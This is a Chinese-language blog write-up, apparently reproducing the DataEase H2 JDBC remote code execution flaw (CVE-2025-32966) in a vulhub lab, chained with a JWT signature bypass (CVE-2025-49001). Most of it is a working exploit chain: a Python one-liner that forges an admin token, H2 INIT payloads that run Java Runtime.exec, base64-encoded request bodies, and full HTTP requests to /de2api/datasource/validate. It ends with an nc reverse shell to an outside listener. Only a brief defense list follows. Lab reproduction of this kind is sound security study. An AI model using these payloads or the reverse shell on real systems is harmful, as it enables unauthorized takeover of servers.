DataEase H2 JDBC-RCE(CVE-2025-32966)复现

0 阅读1分钟

简介

ataEase是一个开源的BI工具,可以替代Tableau。在2.10.8版本之前,经过身份验证的用户可以通过后端JDBC链接完成RCE。

在DataEase 2.10.7及以下版本中,/de2api/datasource/validate接口会将用户提交的H2 JDBC连接串原样传入CalciteProvider#getConnection,没有对参数进行任何过滤。攻击者只要能访问该接口并提供合法的会话,即可在INIT参数中写入任意SQL,再配合H2的CREATE ALIAS ... ......语法内嵌Java源码;H2在建立连接时会编译并执行该别名,从而在DataEase JVM内实现远程命令执行。官方通告将此漏洞标记为需要认证;但同一版本线中的CVE-2025-49001允许任意未授权攻击者伪造管理员JWT,因此通常将两者串联实现完整的未授权RCE。

核心代码位于io.dataease.datasource.provider.CalciteProvider#getConnection。该函数处理用户提交的 JDBC 连接串时,未对输入进行严格的安全检查和过滤,直接将用户参数拼接到 H2 数据库的连接配置中。

攻击者可以在后台的“数据源”管理功能中提交恶意字符串,使 H2 数据库“主动”执行恶意代码。

靶场搭建

vulhub:

cd vulhub/dataease/CVE-2025-32966
docker-compose up -d

环境:2.10.7

步骤

访问http://ip:8100

image-20260506171155868.png

联动CVE-2025-49001

在DataEase 2.10.10及以下版本中,CommunityTokenFilter的JWT校验逻辑存在缺陷:当HMAC签名校验抛出SignatureVerificationException时,过滤器仅向响应写入401并记录日志,却没有中断流程,随后仍然调用filterChain.doFilter(...)放行请求。由于上一级的TokenFilter通过AuthUtils.getUser()仅对JWT做decode而不校验签名,下游控制器因此以攻击者伪造的uidoid执行业务逻辑,等同于以管理员(uid=1)身份操作。该漏洞可与CVE-2025-32966串联,通过数据源校验接口实现未授权远程命令执行。

CVE-2025-49001的影响范围在2.10.10及以下,CVE-2025-32966可以与其联动

利用CVE-2025-49001伪造管理员token

token:

python3 -c "import jwt,time; print(jwt.encode({'uid':1,'oid':1,'exp':int(time.time())+3600}, 'any-secret', algorithm='HS256'))"

#结果:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzc4MDYyOTA3fQ.pPJcQb6xWMozYQB3jyp7FYHKY52HdxiQYbWuKP0zO3o

json:

//2.10.4~2.10.7
{"jdbc":"jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{\"touch\",\"/tmp/pwned\"})\\; }$$\\;CALL EXEC()","username":"","password":"","driver":"org.h2.Driver"}

//base64:eyJqZGJjIjoiamRiYzpoMjptZW06cHduO01PREU9TVNTUUxTZXJ2ZXI7SU5JVD1DUkVBVEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBqYXZhLmlvLklPRXhjZXB0aW9uIHsgUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhuZXcgU3RyaW5nW117XCJ0b3VjaFwiLFwiL3RtcC9wd25lZFwifSlcXDsgfSQkXFw7Q0FMTCBFWEVDKCkiLCJ1c2VybmFtZSI6IiIsInBhc3N3b3JkIjoiIiwiZHJpdmVyIjoib3JnLmgyLkRyaXZlciJ9

//2.10.3及以下
{"urlType":"jdbcUrl","jdbcUrl":"jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{\"touch\",\"/tmp/pwned\"})\\; }$$\\;CALL EXEC()","username":"","password":"","driver":"org.h2.Driver"}

发送数据包

向接口 /de2api/datasource/validate发送数据源校验请求。configuration字段是一段JSON的base64编码,其中jdbc字段承载恶意的H2 JDBC URL。该URL定义了一个EXEC别名并在同一段INIT中调用它(\;用来把分号转义成SQL语句分隔符,避免被H2的URL参数解析器吞掉)

数据包:

POST /de2api/datasource/validate HTTP/1.1
Host: ip:8100
Content-Type: application/json
X-De-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzc4MDYyOTA3fQ.pPJcQb6xWMozYQB3jyp7FYHKY52HdxiQYbWuKP0zO3o

{"name":"p1","type":"h2","configuration":"eyJqZGJjIjoiamRiYzpoMjptZW06cHduO01PREU9TVNTUUxTZXJ2ZXI7SU5JVD1DUkVBVEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBqYXZhLmlvLklPRXhjZXB0aW9uIHsgUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhuZXcgU3RyaW5nW117XCJ0b3VjaFwiLFwiL3RtcC9wd25lZFwifSlcXDsgfSQkXFw7Q0FMTCBFWEVDKCkiLCJ1c2VybmFtZSI6IiIsInBhc3N3b3JkIjoiIiwiZHJpdmVyIjoib3JnLmgyLkRyaXZlciJ9"}

结果:

image-20260506172810185.png

在HTTP协议层面,由于CommunityTokenFilter过滤器已经先行抢占了响应Writer,后续控制器即便以管理员身份执行成功也无法再输出干净的数据包——这也是利用此路径只能看到400而非200的根本原因,但没有返回401响应足以说明攻击者伪造的Token是有效的。

验证:

image-20260506205642434.png

反弹SHELL

nc连接:

# 攻击机监听
nc -lvp 4343

# hackbar或 burp进行攻击
POST /de2api/datasource/validate HTTP/1.1
Content-Type: application/json
X-De-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzc4MDYyOTA3fQ.pPJcQb6xWMozYQB3jyp7FYHKY52HdxiQYbWuKP0zO3o

{"name":"p1","type":"h2","configuration":"eyJqZGJjIjoiamRiYzpoMjptZW06cHduO01PREU9TVNTUUxTZXJ2ZXI7SU5JVD1DUkVBVEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBqYXZhLmlvLklPRXhjZXB0aW9uIHsgUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhuZXcgU3RyaW5nW117XCIvYmluL3NoXCIsXCItY1wiLFwibmMgMTcyLjE3LjE0MS4xNTggNDM0MyAtZSAvYmluL3NoXCJ9KVxcOyB9JCRcXDtDQUxMIEVYRUMoKSIsInVzZXJuYW1lIjoiIiwicGFzc3dvcmQiOiIiLCJkcml2ZXIiOiJvcmcuaDIuRHJpdmVyIn0="}

# base64解码结果:{"jdbc":"jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"nc 172.17.141.158 4343 -e /bin/sh\"})\\; }$$\\;CALL EXEC()","username":"","password":"","driver":"org.h2.Driver"}

image-20260506223356462.png

防御

  • 将版本升级到DataEase版本>=v2.10.10版本

  • 增加web防火墙防护

  • 非信任用户最小权限原则

借鉴: vulhub/dataease/CVE-2025-32966/README.zh-cn.md at master · vulhub/vulhub · GitHub

vulhub/dataease/CVE-2025-49001/README.zh-cn.md at master · vulhub/vulhub · GitHub

你的 BI 工具正在成为黑客的“提权跳板”:DataEase H2 JDBC 注入漏洞(CVE-2025-32966)深度分析 - 主机吧网络安全博客

Java Runtime.exe() 执行命令与反弹shell(下) - 简书